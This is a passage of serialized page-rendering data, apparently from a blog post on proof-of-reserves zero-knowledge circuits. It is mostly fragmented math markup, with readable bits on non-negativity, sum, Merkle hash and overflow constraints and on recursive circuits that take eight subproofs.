children":97135},{"className":97134,"style":7304},[7206],[],{"type":24,"tag":930,"props":97137,"children":97139},{"className":97138},[7115],[97140,97145],{"type":24,"tag":930,"props":97141,"children":97144},{"className":97142,"style":97143},[7120],"height:0.6444em;",[],{"type":24,"tag":930,"props":97146,"children":97148},{"className":97147},[7126],[97149],{"type":30,"value":1818},{"type":30,"value":510},{"type":24,"tag":275,"props":97152,"children":97153},{},[97154],{"type":30,"value":97155},"(non-negativity)",{"type":24,"tag":100,"props":97157,"children":97158},{},[97159,97497,97498],{"type":24,"tag":156,"props":97160,"children":97162},{"className":97161},[7098,7099],[97163],{"type":24,"tag":930,"props":97164,"children":97166},{"className":97165},[7104],[97167],{"type":24,"tag":930,"props":97168,"children":97170},{"className":97169,"ariaHidden":7110},[7109],[97171,97307],{"type":24,"tag":930,"props":97172,"children":97174},{"className":97173},[7115],[97175,97179,97184,97189,97194,97199,97204,97209,97214,97219,97224,97229,97234,97239,97244,97249,97254,97259,97264,97269,97274,97279,97284,97289,97294,97298,97303],{"type":24,"tag":930,"props":97176,"children":97178},{"className":97177,"style":96054},[7120],[],{"type":24,"tag":930,"props":97180,"children":97182},{"className":97181},[7126,24690],[97183],{"type":30,"value":24831},{"type":24,"tag":930,"props":97185,"children":97187},{"className":97186},[7126,24690],[97188],{"type":30,"value":96082},{"type":24,"tag":930,"props":97190,"children":97192},{"className":97191},[7126,24690],[97193],{"type":30,"value":24831},{"type":24,"tag":930,"props":97195,"children":97197},{"className":97196},[7126,24690],[97198],{"type":30,"value":37},{"type":24,"tag":930,"props":97200,"children":97202},{"className":97201,"style":96124},[7126,24690],[97203],{"type":30,"value":96127},{"type":24,"tag":930,"props":97205,"children":97207},{"className":97206,"style":96112},[7126],[97208],{"type":30,"value":6204},{"type":24,"tag":930,"props":97210,"children":97212},{"className":97211},[7126,24690],[97213],{"type":30,"value":37},{"type":24,"tag":930,"props":97215,"children":97217},{"className":97216},[7126,24690],[97218],{"type":30,"value":96103},{"type":24,"tag":930,"props":97220,"children":97222},{"className":97221},[7126,24690],[97223],{"type":30,"value":24831},{"type":24,"tag":930,"props":97225,"children":97227},{"className":97226,"style":96112},[7126],[97228],{"type":30,"value":6204},{"type":24,"tag":930,"props":97230,"children":97232},{"className":97231},[7126,24690],[97233],{"type":30,"value":96120},{"type":24,"tag":930,"props":97235,"children":97237},{"className":97236,"style":96124},[7126,24690],[97238],{"type":30,"value":96127},{"type":24,"tag":930,"props":97240,"children":97242},{"className":97241},[7126,24690],[97243],{"type":30,"value":96133},{"type":24,"tag":930,"props":97245,"children":97247},{"className":97246},[7126,24690],[97248],{"type":30,"value":96139},{"type":24,"tag":930,"props":97250,"children":97252},{"className":97251},[24818],[97253],{"type":30,"value":6849},{"type":24,"tag":930,"props":97255,"children":97257},{"className":97256},[7126,24690],[97258],{"type":30,"value":37},{"type":24,"tag":930,"props":97260,"children":97262},{"className":97261},[7126,24690],[97263],{"type":30,"value":96103},{"type":24,"tag":930,"props":97265,"children":97267},{"className":97266},[7126,24690],[97268],{"type":30,"value":24831},{"type":24,"tag":930,"props":97270,"children":97272},{"className":97271,"style":96112},[7126],[97273],{"type":30,"value":6204},{"type":24,"tag":930,"props":97275,"children":97277},{"className":97276},[7126,24690],[97278],{"type":30,"value":59493},{"type":24,"tag":930,"props":97280,"children":97282},{"className":97281},[7126,24690],[97283],{"type":30,"value":96371},{"type":24,"tag":930,"props":97285,"children":97287},{"className":97286},[7126,24690],[97288],{"type":30,"value":54222},{"type":24,"tag":930,"props":97290,"children":97292},{"className":97291},[24840],[97293],{"type":30,"value":18514},{"type":24,"tag":930,"props":97295,"children":97297},{"className":97296,"style":7304},[7206],[],{"type":24,"tag":930,"props":97299,"children":97301},{"className":97300},[7309],[97302],{"type":30,"value":1239},{"type":24,"tag":930,"props":97304,"children":97306},{"className":97305,"style":7304},[7206],[],{"type":24,"tag":930,"props":97308,"children":97310},{"className":97309},[7115],[97311,97315,97320,97325,97330,97335,97340,97345,97350,97355,97360,97365,97370,97375,97380,97385,97390,97395,97452,97457,97462,97467,97472,97477,97482,97487,97492],{"type":24,"tag":930,"props":97312,"children":97314},{"className":97313,"style":96054},[7120],[],{"type":24,"tag":930,"props":97316,"children":97318},{"className":97317},[7126],[97319],{"type":30,"value":96702},{"type":24,"tag":930,"props":97321,"children":97323},{"className":97322},[7206],[97324],{"type":30,"value":24790},{"type":24,"tag":930,"props":97326,"children":97328},{"className":97327},[7126,24690],[97329],{"type":30,"value":37},{"type":24,"tag":930,"props":97331,"children":97333},{"className":97332},[7126,24690],[97334],{"type":30,"value":96569},{"type":24,"tag":930,"props":97336,"children":97338},{"className":97337},[7126,24690],[97339],{"type":30,"value":96371},{"type":24,"tag":930,"props":97341,"children":97343},{"className":97342},[7126,24690],[97344],{"type":30,"value":59493},{"type":24,"tag":930,"props":97346,"children":97348},{"className":97347},[7126,24690],[97349],{"type":30,"value":24831},{"type":24,"tag":930,"props":97351,"children":97353},{"className":97352,"style":96112},[7126],[97354],{"type":30,"value":6204},{"type":24,"tag":930,"props":97356,"children":97358},{"className":97357},[7126,24690],[97359],{"type":30,"value":37},{"type":24,"tag":930,"props":97361,"children":97363},{"className":97362},[7126,24690],[97364],{"type":30,"value":96103},{"type":24,"tag":930,"props":97366,"children":97368},{"className":97367},[7126,24690],[97369],{"type":30,"value":24831},{"type":24,"tag":930,"props":97371,"children":97373},{"className":97372,"style":96112},[7126],[97374],{"type":30,"value":6204},{"type":24,"tag":930,"props":97376,"children":97378},{"className":97377},[7126,24690],[97379],{"type":30,"value":96120},{"type":24,"tag":930,"props":97381,"children":97383},{"className":97382,"style":96124},[7126,24690],[97384],{"type":30,"value":96127},{"type":24,"tag":930,"props":97386,"children":97388},{"className":97387},[7126,24690],[97389],{"type":30,"value":96133},{"type":24,"tag":930,"props":97391,"children":97393},{"className":97392},[7126,24690],[97394],{"type":30,"value":96139},{"type":24,"tag":930,"props":97396,"children":97398},{"className":97397},[7126],[97399,97404],{"type":24,"tag":930,"props":97400,"children":97402},{"className":97401},[7126,24690],[97403],{"type":30,"value":13758},{"type":24,"tag":930,"props":97405,"children":97407},{"className":97406},[7142],[97408],{"type":24,"tag":930,"props":97409,"children":97411},{"className":97410},[7147,24743],[97412,97441],{"type":24,"tag":930,"props":97413,"children":97415},{"className":97414},[7152],[97416,97436],{"type":24,"tag":930,"props":97417,"children":97419},{"className":97418,"style":96641},[7157],[97420],{"type":24,"tag":930,"props":97421,"children":97422},{"style":96168},[97423,97427],{"type":24,"tag":930,"props":97424,"children":97426},{"className":97425,"style":7167},[7166],[],{"type":24,"tag":930,"props":97428,"children":97430},{"className":97429},[7172,7173,7174,7175],[97431],{"type":24,"tag":930,"props":97432,"children":97434},{"className":97433},[7126,24690,7175],[97435],{"type":30,"value":6854},{"type":24,"tag":930,"props":97437,"children":97439},{"className":97438},[24846],[97440],{"type":30,"value":24849},{"type":24,"tag":930,"props":97442,"children":97444},{"className":97443},[7152],[97445],{"type":24,"tag":930,"props":97446,"children":97448},{"className":97447,"style":96195},[7157],[97449],{"type":24,"tag":930,"props":97450,"children":97451},{},[],{"type":24,"tag":930,"props":97453,"children":97455},{"className":97454},[24818],[97456],{"type":30,"value":6849},{"type":24,"tag":930,"props":97458,"children":97460},{"className":97459},[7126,24690],[97461],{"type":30,"value":37},{"type":24,"tag":930,"props":97463,"children":97465},{"className":97464},[7126,24690],[97466],{"type":30,"value":96103},{"type":24,"tag":930,"props":97468,"children":97470},{"className":97469},[7126,24690],[97471],{"type":30,"value":24831},{"type":24,"tag":930,"props":97473,"children":97475},{"className":97474,"style":96112},[7126],[97476],{"type":30,"value":6204},{"type":24,"tag":930,"props":97478,"children":97480},{"className":97479},[7126,24690],[97481],{"type":30,"value":59493},{"type":24,"tag":930,"props":97483,"children":97485},{"className":97484},[7126,24690],[97486],{"type":30,"value":96371},{"type":24,"tag":930,"props":97488,"children":97490},{"className":97489},[7126,24690],[97491],{"type":30,"value":54222},{"type":24,"tag":930,"props":97493,"children":97495},{"className":97494},[24840],[97496],{"type":30,"value":18514},{"type":30,"value":510},{"type":24,"tag":275,"props":97499,"children":97500},{},[97501],{"type":30,"value":97502},"(sum proof)",{"type":24,"tag":100,"props":97504,"children":97505},{},[97506,97895,97896],{"type":24,"tag":156,"props":97507,"children":97509},{"className":97508},[7098,7099],[97510],{"type":24,"tag":930,"props":97511,"children":97513},{"className":97512},[7104],[97514],{"type":24,"tag":930,"props":97515,"children":97517},{"className":97516,"ariaHidden":7110},[7109],[97518,97604],{"type":24,"tag":930,"props":97519,"children":97521},{"className":97520},[7115],[97522,97527,97532,97538,97544,97549,97554,97559,97564,97570,97575,97581,97586,97591,97595,97600],{"type":24,"tag":930,"props":97523,"children":97526},{"className":97524,"style":97525},[7120],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":930,"props":97528,"children":97530},{"className":97529},[7126,24690],[97531],{"type":30,"value":54222},{"type":24,"tag":930,"props":97533,"children":97535},{"className":97534,"style":96112},[7126,24690],[97536],{"type":30,"value":97537},"er",{"type":24,"tag":930,"props":97539,"children":97542},{"className":97540,"style":97541},[7126,24690],"margin-right:0.03148em;",[97543],{"type":30,"value":91752},{"type":24,"tag":930,"props":97545,"children":97547},{"className":97546,"style":96124},[7126,24690],[97548],{"type":30,"value":96127},{"type":24,"tag":930,"props":97550,"children":97552},{"className":97551},[7126,24690],[97553],{"type":30,"value":54543},{"type":24,"tag":930,"props":97555,"children":97557},{"className":97556,"style":96112},[7126],[97558],{"type":30,"value":6204},{"type":24,"tag":930,"props":97560,"children":97562},{"className":97561},[7126,24690],[97563],{"type":30,"value":24831},{"type":24,"tag":930,"props":97565,"children":97567},{"className":97566},[7126,24690],[97568],{"type":30,"value":97569},"ree",{"type":24,"tag":930,"props":97571,"children":97573},{"className":97572,"style":96112},[7126],[97574],{"type":30,"value":6204},{"type":24,"tag":930,"props":97576,"children":97578},{"className":97577},[7126,24690],[97579],{"type":30,"value":97580},"ha",{"type":24,"tag":930,"props":97582,"children":97584},{"className":97583},[7126,24690],[97585],{"type":30,"value":13758},{"type":24,"tag":930,"props":97587,"children":97589},{"className":97588},[7126,24690],[97590],{"type":30,"value":87415},{"type":24,"tag":930,"props":97592,"children":97594},{"className":97593,"style":7304},[7206],[],{"type":24,"tag":930,"props":97596,"children":97598},{"className":97597},[7309],[97599],{"type":30,"value":1239},{"type":24,"tag":930,"props":97601,"children":97603},{"className":97602,"style":7304},[7206],[],{"type":24,"tag":930,"props":97605,"children":97607},{"className":97606},[7115],[97608,97612,97617,97622,97627,97632,97637,97642,97647,97652,97657,97714,97719,97723,97728,97733,97790,97795,97800,97804,97809,97814,97818,97823,97828,97890],{"type":24,"tag":930,"props":97609,"children":97611},{"className":97610,"style":7227},[7120],[],{"type":24,"tag":930,"props":97613,"children":97615},{"className":97614,"style":24691},[7126,24690],[97616],{"type":30,"value":24694},{"type":24,"tag":930,"props":97618,"children":97620},{"className":97619},[7126,24690],[97621],{"type":30,"value":96066},{"type":24,"tag":930,"props":97623,"children":97625},{"className":97624},[7126,24690],[97626],{"type":30,"value":6854},{"type":24,"tag":930,"props":97628,"children":97630},{"className":97629},[7126,24690],[97631],{"type":30,"value":73649},{"type":24,"tag":930,"props":97633,"children":97635},{"className":97634},[7126,24690],[97636],{"type":30,"value":96082},{"type":24,"tag":930,"props":97638,"children":97640},{"className":97639},[7126,24690],[97641],{"type":30,"value":59493},{"type":24,"tag":930,"props":97643,"children":97645},{"className":97644},[24818],[97646],{"type":30,"value":1010},{"type":24,"tag":930,"props":97648,"children":97650},{"className":97649},[7126,24690],[97651],{"type":30,"value":97580},{"type":24,"tag":930,"props":97653,"children":97655},{"className":97654},[7126,24690],[97656],{"type":30,"value":13758},{"type":24,"tag":930,"props":97658,"children":97660},{"className":97659},[7126],[97661,97666],{"type":24,"tag":930,"props":97662,"children":97664},{"className":97663},[7126,24690],[97665],{"type":30,"value":87415},{"type":24,"tag":930,"props":97667,"children":97669},{"className":97668},[7142],[97670],{"type":24,"tag":930,"props":97671,"children":97673},{"className":97672},[7147,24743],[97674,97703],{"type":24,"tag":930,"props":97675,"children":97677},{"className":97676},[7152],[97678,97698],{"type":24,"tag":930,"props":97679,"children":97681},{"className":97680,"style":96164},[7157],[97682],{"type":24,"tag":930,"props":97683,"children":97684},{"style":96168},[97685,97689],{"type":24,"tag":930,"props":97686,"children":97688},{"className":97687,"style":7167},[7166],[],{"type":24,"tag":930,"props":97690,"children":97692},{"className":97691},[7172,7173,7174,7175],[97693],{"type":24,"tag":930,"props":97694,"children":97696},{"className":97695},[7126,7175],[97697],{"type":30,"value":1818},{"type":24,"tag":930,"props":97699,"children":97701},{"className":97700},[24846],[97702],{"type":30,"value":24849},{"type":24,"tag":930,"props":97704,"children":97706},{"className":97705},[7152],[97707],{"type":24,"tag":930,"props":97708,"children":97710},{"className":97709,"style":96195},[7157],[97711],{"type":24,"tag":930,"props":97712,"children":97713},{},[],{"type":24,"tag":930,"props":97715,"children":97717},{"className":97716},[7238],[97718],{"type":30,"value":7241},{"type":24,"tag":930,"props":97720,"children":97722},{"className":97721,"style":7245},[7206],[],{"type":24,"tag":930,"props":97724,"children":97726},{"className":97725},[7126,24690],[97727],{"type":30,"value":97580},{"type":24,"tag":930,"props":97729,"children":97731},{"className":97730},[7126,24690],[97732],{"type":30,"value":13758},{"type":24,"tag":930,"props":97734,"children":97736},{"className":97735},[7126],[97737,97742],{"type":24,"tag":930,"props":97738,"children":97740},{"className":97739},[7126,24690],[97741],{"type":30,"value":87415},{"type":24,"tag":930,"props":97743,"children":97745},{"className":97744},[7142],[97746],{"type":24,"tag":930,"props":97747,"children":97749},{"className":97748},[7147,24743],[97750,97779],{"type":24,"tag":930,"props":97751,"children":97753},{"className":97752},[7152],[97754,97774],{"type":24,"tag":930,"props":97755,"children":97757},{"className":97756,"style":96164},[7157],[97758],{"type":24,"tag":930,"props":97759,"children":97760},{"style":96168},[97761,97765],{"type":24,"tag":930,"props":97762,"children":97764},{"className":97763,"style":7167},[7166],[],{"type":24,"tag":930,"props":97766,"children":97768},{"className":97767},[7172,7173,7174,7175],[97769],{"type":24,"tag":930,"props":97770,"children":97772},{"className":97771},[7126,7175],[97773],{"type":30,"value":7129},{"type":24,"tag":930,"props":97775,"children":97777},{"className":97776},[24846],[97778],{"type":30,"value":24849},{"type":24,"tag":930,"props":97780,"children":97782},{"className":97781},[7152],[97783],{"type":24,"tag":930,"props":97784,"children":97786},{"className":97785,"style":96195},[7157],[97787],{"type":24,"tag":930,"props":97788,"children":97789},{},[],{"type":24,"tag":930,"props":97791,"children":97793},{"className":97792},[7238],[97794],{"type":30,"value":7241},{"type":24,"tag":930,"props":97796,"children":97798},{"className":97797},[7206],[97799],{"type":30,"value":24790},{"type":24,"tag":930,"props":97801,"children":97803},{"className":97802,"style":7245},[7206],[],{"type":24,"tag":930,"props":97805,"children":97807},{"className":97806},[7126],[97808],{"type":30,"value":12699},{"type":24,"tag":930,"props":97810,"children":97812},{"className":97811},[7238],[97813],{"type":30,"value":7241},{"type":24,"tag":930,"props":97815,"children":97817},{"className":97816,"style":7245},[7206],[],{"type":24,"tag":930,"props":97819,"children":97821},{"className":97820},[7126,24690],[97822],{"type":30,"value":97580},{"type":24,"tag":930,"props":97824,"children":97826},{"className":97825},[7126,24690],[97827],{"type":30,"value":13758},{"type":24,"tag":930,"props":97829,"children":97831},{"className":97830},[7126],[97832,97837],{"type":24,"tag":930,"props":97833,"children":97835},{"className":97834},[7126,24690],[97836],{"type":30,"value":87415},{"type":24,"tag":930,"props":97838,"children":97840},{"className":97839},[7142],[97841],{"type":24,"tag":930,"props":97842,"children":97844},{"className":97843},[7147,24743],[97845,97879],{"type":24,"tag":930,"props":97846,"children":97848},{"className":97847},[7152],[97849,97874],{"type":24,"tag":930,"props":97850,"children":97852},{"className":97851,"style":96164},[7157],[97853],{"type":24,"tag":930,"props":97854,"children":97855},{"style":96168},[97856,97860],{"type":24,"tag":930,"props":97857,"children":97859},{"className":97858,"style":7167},[7166],[],{"type":24,"tag":930,"props":97861,"children":97863},{"className":97862},[7172,7173,7174,7175],[97864],{"type":24,"tag":930,"props":97865,"children":97867},{"className":97866},[7126,7175],[97868],{"type":24,"tag":930,"props":97869,"children":97871},{"className":97870},[7126,7175],[97872],{"type":30,"value":97873},"511",{"type":24,"tag":930,"props":97875,"children":97877},{"className":97876},[24846],[97878],{"type":30,"value":24849},{"type":24,"tag":930,"props":97880,"children":97882},{"className":97881},[7152],[97883],{"type":24,"tag":930,"props":97884,"children":97886},{"className":97885,"style":96195},[7157],[97887],{"type":24,"tag":930,"props":97888,"children":97889},{},[],{"type":24,"tag":930,"props":97891,"children":97893},{"className":97892},[24840],[97894],{"type":30,"value":6249},{"type":30,"value":510},{"type":24,"tag":275,"props":97897,"children":97898},{},[97899],{"type":30,"value":97900},"(merkle tree hash)",{"type":24,"tag":100,"props":97902,"children":97903},{},[97904,98179,98180,98185,98187,98192],{"type":24,"tag":156,"props":97905,"children":97907},{"className":97906},[7098,7099],[97908],{"type":24,"tag":930,"props":97909,"children":97911},{"className":97910},[7104],[97912],{"type":24,"tag":930,"props":97913,"children":97915},{"className":97914,"ariaHidden":7110},[7109],[97916,98109],{"type":24,"tag":930,"props":97917,"children":97919},{"className":97918},[7115],[97920,97924,97929,97934,97939,97944,97949,97954,97959,97964,97969,97974,97979,97984,97989,97994,98051,98056,98061,98066,98071,98076,98081,98086,98091,98096,98100,98105],{"type":24,"tag":930,"props":97921,"children":97923},{"className":97922,"style":96054},[7120],[],{"type":24,"tag":930,"props":97925,"children":97927},{"className":97926},[7126,24690],[97928],{"type":30,"value":37},{"type":24,"tag":930,"props":97930,"children":97932},{"className":97931},[7126,24690],[97933],{"type":30,"value":96569},{"type":24,"tag":930,"props":97935,"children":97937},{"className":97936},[7126,24690],[97938],{"type":30,"value":96371},{"type":24,"tag":930,"props":97940,"children":97942},{"className":97941},[7126,24690],[97943],{"type":30,"value":59493},{"type":24,"tag":930,"props":97945,"children":97947},{"className":97946},[7126,24690],[97948],{"type":30,"value":24831},{"type":24,"tag":930,"props":97950,"children":97952},{"className":97951,"style":96112},[7126],[97953],{"type":30,"value":6204},{"type":24,"tag":930,"props":97955,"children":97957},{"className":97956},[7126,24690],[97958],{"type":30,"value":37},{"type":24,"tag":930,"props":97960,"children":97962},{"className":97961},[7126,24690],[97963],{"type":30,"value":96103},{"type":24,"tag":930,"props":97965,"children":97967},{"className":97966},[7126,24690],[97968],{"type":30,"value":24831},{"type":24,"tag":930,"props":97970,"children":97972},{"className":97971,"style":96112},[7126],[97973],{"type":30,"value":6204},{"type":24,"tag":930,"props":97975,"children":97977},{"className":97976},[7126,24690],[97978],{"type":30,"value":96120},{"type":24,"tag":930,"props":97980,"children":97982},{"className":97981,"style":96124},[7126,24690],[97983],{"type":30,"value":96127},{"type":24,"tag":930,"props":97985,"children":97987},{"className":97986},[7126,24690],[97988],{"type":30,"value":96133},{"type":24,"tag":930,"props":97990,"children":97992},{"className":97991},[7126,24690],[97993],{"type":30,"value":96139},{"type":24,"tag":930,"props":97995,"children":97997},{"className":97996},[7126],[97998,98003],{"type":24,"tag":930,"props":97999,"children":98001},{"className":98000},[7126,24690],[98002],{"type":30,"value":13758},{"type":24,"tag":930,"props":98004,"children":98006},{"className":98005},[7142],[98007],{"type":24,"tag":930,"props":98008,"children":98010},{"className":98009},[7147,24743],[98011,98040],{"type":24,"tag":930,"props":98012,"children":98014},{"className":98013},[7152],[98015,98035],{"type":24,"tag":930,"props":98016,"children":98018},{"className":98017,"style":96641},[7157],[98019],{"type":24,"tag":930,"props":98020,"children":98021},{"style":96168},[98022,98026],{"type":24,"tag":930,"props":98023,"children":98025},{"className":98024,"style":7167},[7166],[],{"type":24,"tag":930,"props":98027,"children":98029},{"className":98028},[7172,7173,7174,7175],[98030],{"type":24,"tag":930,"props":98031,"children":98033},{"className":98032},[7126,24690,7175],[98034],{"type":30,"value":6854},{"type":24,"tag":930,"props":98036,"children":98038},{"className":98037},[24846],[98039],{"type":30,"value":24849},{"type":24,"tag":930,"props":98041,"children":98043},{"className":98042},[7152],[98044],{"type":24,"tag":930,"props":98045,"children":98047},{"className":98046,"style":96195},[7157],[98048],{"type":24,"tag":930,"props":98049,"children":98050},{},[],{"type":24,"tag":930,"props":98052,"children":98054},{"className":98053},[24818],[98055],{"type":30,"value":6849},{"type":24,"tag":930,"props":98057,"children":98059},{"className":98058},[7126,24690],[98060],{"type":30,"value":37},{"type":24,"tag":930,"props":98062,"children":98064},{"className":98063},[7126,24690],[98065],{"type":30,"value":96103},{"type":24,"tag":930,"props":98067,"children":98069},{"className":98068},[7126,24690],[98070],{"type":30,"value":24831},{"type":24,"tag":930,"props":98072,"children":98074},{"className":98073,"style":96112},[7126],[98075],{"type":30,"value":6204},{"type":24,"tag":930,"props":98077,"children":98079},{"className":98078},[7126,24690],[98080],{"type":30,"value":59493},{"type":24,"tag":930,"props":98082,"children":98084},{"className":98083},[7126,24690],[98085],{"type":30,"value":96371},{"type":24,"tag":930,"props":98087,"children":98089},{"className":98088},[7126,24690],[98090],{"type":30,"value":54222},{"type":24,"tag":930,"props":98092,"children":98094},{"className":98093},[24840],[98095],{"type":30,"value":18514},{"type":24,"tag":930,"props":98097,"children":98099},{"className":98098,"style":7304},[7206],[],{"type":24,"tag":930,"props":98101,"children":98103},{"className":98102},[7309],[98104],{"type":30,"value":1350},{"type":24,"tag":930,"props":98106,"children":98108},{"className":98107,"style":7304},[7206],[],{"type":24,"tag":930,"props":98110,"children":98112},{"className":98111},[7115],[98113,98117,98124,98129,98135,98140,98145,98150,98156,98161,98167,98173],{"type":24,"tag":930,"props":98114,"children":98116},{"className":98115,"style":96054},[7120],[],{"type":24,"tag":930,"props":98118,"children":98121},{"className":98119,"style":98120},[7126,24690],"margin-right:0.10903em;",[98122],{"type":30,"value":98123},"M",{"type":24,"tag":930,"props":98125,"children":98127},{"className":98126},[7126,24690],[98128],{"type":30,"value":79846},{"type":24,"tag":930,"props":98130,"children":98133},{"className":98131,"style":98132},[7126,24690],"margin-right:0.07847em;",[98134],{"type":30,"value":9246},{"type":24,"tag":930,"props":98136,"children":98138},{"className":98137,"style":96112},[7126],[98139],{"type":30,"value":6204},{"type":24,"tag":930,"props":98141,"children":98143},{"className":98142,"style":25148},[7126,24690],[98144],{"type":30,"value":25151},{"type":24,"tag":930,"props":98146,"children":98148},{"className":98147},[7126,24690],[98149],{"type":30,"value":79846},{"type":24,"tag":930,"props":98151,"children":98153},{"className":98152,"style":25148},[7126,24690],[98154],{"type":30,"value":98155},"FE",{"type":24,"tag":930,"props":98157,"children":98159},{"className":98158,"style":96112},[7126],[98160],{"type":30,"value":6204},{"type":24,"tag":930,"props":98162,"children":98164},{"className":98163,"style":98132},[7126,24690],[98165],{"type":30,"value":98166},"I",{"type":24,"tag":930,"props":98168,"children":98170},{"className":98169,"style":24691},[7126,24690],[98171],{"type":30,"value":98172},"NT",{"type":24,"tag":930,"props":98174,"children":98176},{"className":98175},[7126],[98177],{"type":30,"value":98178},"/512",{"type":30,"value":510},{"type":24,"tag":275,"props":98181,"children":98182},{},[98183],{"type":30,"value":98184},"(overflow check)",{"type":30,"value":98186}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":156,"props":98188,"children":98190},{"className":98189},[],[98191],{"type":30,"value":95970},{"type":30,"value":6249},{"type":24,"tag":33,"props":98194,"children":98195},{},[98196],{"type":30,"value":98197},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":33,"props":98199,"children":98200},{},[98201],{"type":24,"tag":140,"props":98202,"children":98204},{"alt":142,"src":98203},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":151,"props":98206,"children":98208},{"id":98207},"recursive-circuit",[98209],{"type":30,"value":98210},"Recursive Circuit",{"type":24,"tag":33,"props":98212,"children":98213},{},[98214],{"type":30,"value":98215},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":33,"props":98217,"children":98218},{},[98219],{"type":24,"tag":275,"props":98220,"children":98221},{},[98222],{"type":30,"value":96484},{"type":24,"tag":96,"props":98224,"children":98225},{},[98226,98230,98235],{"type":24,"tag":100,"props":98227,"children":98228},{},[98229],{"type":30,"value":96502},{"type":24,"tag":100,"props":98231,"children":98232},{},[98233],{"type":30,"value":98234},"Asset prices",{"type":24,"tag":100,"props":98236,"children":98237},{},[98238],{"type":30,"value":96497},{"type":24,"tag":33,"props":98240,"children":98241},{},[98242],{"type":24,"tag":275,"props":98243,"children":98244},{},[98245],{"type":30,"value":96510},{"type":24,"tag":96,"props":98247,"children":98248},{},[98249],{"type":24,"tag":100,"props":98250,"children":98251},{},[98252],{"type":30,"value":98253},"8 subproofs",{"type":24,"tag":33,"props":98255,"children":98256},{},[98257],{"type":24,"tag":275,"props":98258,"children":98259},{},[98260],{"type":30,"value":96531},{"type":24,"tag":96,"props":98262,"children":98263},{},[98264,98674,99005,99372,99759],{"type":24,"tag":100,"props":98265,"children":98266},{},[98267,98669,98670],{"type":24,"tag":156,"props":98268,"children":98270},{"className":98269},[7098,7099],[98271],{"type":24,"tag":930,"props":98272,"children":98274},{"className":98273},[7104],[98275],{"type":24,"tag":930,"props":98276,"children":98278},{"className":98277,"ariaHidden":7110},[7109],[98279,98415],{"type":24,"tag":930,"props":98280,"children":98282},{"className":98281},[7115],[98283,98287,98292,98297,98302,98307,98312,98317,98322,98327,98332,98337,98342,98347,98352,98357,98362,98367,98372,98377,98382,98387,98392,98397,98402,98406,98411],{"type":24,"tag":930,"props":98284,"children":98286},{"className":98285,"style":96054},[7120],[],{"type":24,"tag":930,"props":98288,"children":98290},{"className":98289},[7126,24690],[98291],{"type":30,"value":24831},{"type":24,"tag":930,"props":98293,"children":98295},{"className":98294},[7126,24690],[98296],{"type":30,"value":96082},{"type":24,"tag":930,"props":98298,"children":98300},{"className":98299},[7126,24690],[98301],{"type":30,"value":24831},{"type":24,"tag":930,"props":98303,"children":98305},{"className":98304},[7126,24690],[98306],{"type":30,"value":37},{"type":24,"tag":930,"props":98308,"children":98310},{"className":98309,"style":96124},[7126,24690],[98311],{"type":30,"value":96127},{"type":24,"tag":930,"props":98313,"children":98315},{"className":98314,"style":96112},[7126],[98316],{"type":30,"value":6204},{"type":24,"tag":930,"props":98318,"children":98320},{"className":98319},[7126,24690],[98321],{"type":30,"value":37},{"type":24,"tag":930,"props":98323,"children":98325},{"className":98324},[7126,24690],[98326],{"type":30,"value":96103},{"type":24,"tag":930,"props":98328,"children":98330},{"className":98329},[7126,24690],[98331],{"type":30,"value":24831},{"type":24,"tag":930,"props":98333,"children":98335},{"className":98334,"style":96112},[7126],[98336],{"type":30,"value":6204},{"type":24,"tag":930,"props":98338,"children":98340},{"className":98339},[7126,24690],[98341],{"type":30,"value":96120},{"type":24,"tag":930,"props":98343,"children":98345},{"className":98344,"style":96124},[7126,24690],[98346],{"type":30,"value":96127},{"type":24,"tag":930,"props":98348,"children":98350},{"className":98349},[7126,24690],[98351],{"type":30,"value":96133},{"type":24,"tag":930,"props":98353,"children":98355},{"className":98354},[7126,24690],[98356],{"type":30,"value":96139},{"type":24,"tag":930,"props":98358,"children":98360},{"className":98359},[24818],[98361],{"type":30,"value":6849},{"type":24,"tag":930,"props":98363,"children":98365},{"className":98364},[7126,24690],[98366],{"type":30,"value":37},{"type":24,"tag":930,"props":98368,"children":98370},{"className":98369},[7126,24690],[98371],{"type":30,"value":96103},{"type":24,"tag":930,"props":98373,"children":98375},{"className":98374},[7126,24690],[98376],{"type":30,"value":24831},{"type":24,"tag":930,"props":98378,"children":98380},{"className":98379,"style":96112},[7126],[98381],{"type":30,"value":6204},{"type":24,"tag":930,"props":98383,"children":98385},{"className":98384},[7126,24690],[98386],{"type":30,"value":59493},{"type":24,"tag":930,"props":98388,"children":98390},{"className":98389},[7126,24690],[98391],{"type":30,"value":96371},{"type":24,"tag":930,"props":98393,"children":98395},{"className":98394},[7126,24690],[98396],{"type":30,"value":54222},{"type":24,"tag":930,"props":98398,"children":98400},{"className":98399},[24840],[98401],{"type":30,"value":18514},{"type":24,"tag":930,"props":98403,"children":98405},{"className":98404,"style":7304},[7206],[],{"type":24,"tag":930,"props":98407,"children":98409},{"className":98408},[7309],[98410],{"type":30,"value":1239},{"type":24,"tag":930,"props":98412,"children":98414},{"className":98413,"style":7304},[7206],[],{"type":24,"tag":930,"props":98416,"children":98418},{"className":98417},[7115],[98419,98423,98428,98433,98438,98443,98448,98453,98459,98518,98523,98528,98533,98538,98543,98548,98553,98558,98564,98569,98574,98579,98584,98589,98594,98599,98604,98609,98614,98619,98624,98629,98634,98639,98644,98649,98654,98659,98664],{"type":24,"tag":930,"props":98420,"children":98422},{"className":98421,"style":96054},[7120],[],{"type":24,"tag":930,"props":98424,"children":98426},{"className":98425},[7126],[98427],{"type":30,"value":96702},{"type":24,"tag":930,"props":98429,"children":98431},{"className":98430},[7206],[98432],{"type":30,"value":24790},{"type":24,"tag":930,"props":98434,"children":98436},{"className":98435},[7126,24690],[98437],{"type":30,"value":13758},{"type":24,"tag":930,"props":98439,"children":98441},{"className":98440},[7126,24690],[98442],{"type":30,"value":96371},{"type":24,"tag":930,"props":98444,"children":98446},{"className":98445},[7126,24690],[98447],{"type":30,"value":6343},{"type":24,"tag":930,"props":98449,"children":98451},{"className":98450},[7126,24690],[98452],{"type":30,"value":33},{"type":24,"tag":930,"props":98454,"children":98456},{"className":98455},[7126,24690],[98457],{"type":30,"value":98458},"roo",{"type":24,"tag":930,"props":98460,"children":98462},{"className":98461},[7126],[98463,9